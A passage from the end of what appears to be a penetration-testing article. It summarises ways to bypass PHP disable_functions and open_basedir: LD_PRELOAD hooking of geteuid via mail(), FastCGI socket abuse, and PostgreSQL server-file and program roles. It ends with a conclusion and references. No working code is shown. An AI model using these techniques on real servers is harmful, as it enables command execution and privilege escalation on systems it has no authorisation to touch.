pg_read_server_file
and/orpg_execute_server_program
role. We can read/execute commands in the context of the database user. This technique can also be used to escalate privileges in the client network when the DBMS is hosted on a different system as the web application. - If FPM/FastCGI is used by the server API to render PHP files and we know the
‘PATH’ of the used FPM socket, we are able to access the socket and
overwriting the ‘PHP_VALUE’. This can be reached by using a fake FastCGI
client. The necessary FPM socket can be found be using the
glob()
function. - The PHP function
mail()
would execute thesendmail
command, which will start a new process and rungeteuid()
. This allow us to hook this function. - If the
sendmail
command is not available we’re not any longer able to hook thegeteuid()
function. In this case we can hijack the new started process with the function runs before themain()
function. - In case that
mail()
is also part of thedisable_functions
we have to find another function which can start a new process. After that we can use the__attribute__ ((__constructor__))
to execute system commands.
0x08: Conclusion
We have seen that is possible to bypass disable_functions
by
hooking a system function and by using the ‘LD_PRELOAD’ technique. As a
result, to force the process to use our hooked shared library. Furthermore, we
have seen that open_basedir
can also be bypassed. Furthermore, we have seen
that it is also possible to bypass disable_functions
. And finally, if the
application is using PostgreSQL as DBMS we also have the opportunity, in some
circumstances, to escalate privileges in the network of our client.
0x09: References
-
[1]
Sec Bug #73891 open_basedir bypass through glob:// protocol - https://bugs.php.net/bug.php?id=73891
-
[2]
PHP documentation: glob - https://www.php.net/manual/en/function.glob.php
-
[3]
Glob Patterns for File Matching in PHP - https://cowburn.info/2010/04/30/glob-patterns/
-
[4]
PostgreSQL documentation: COPY - https://www.postgresql.org/docs/9.3/sql-copy.html
-
[5]
Postgres 11 highlight - New System Roles - https://paquier.xyz/postgresql-2/postgres-11-new-system-roles/)
-
[6]
FastCGI implementation in PHP (GitHub) row 47 - https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_scoreboard.h#L47
-
[7]
FastCGI implementation in PHP (GitHub) row 58 - https://github.com/php/php-src/blob/master/main/fastcgi.h#L58
-
[8]
FastCGI implementation in PHP (GitHub) row 153 - https://github.com/php/php-src/blob/master/main/fastcgi.c#L153
-
[9]
PHP Changelog: Version 5.3.3 - https://www.php.net/ChangeLog-5.php#5.3.3
-
[10]
PHP documentation: 'How to change configuration settings' - https://php.net/manual/en/configuration.changes.php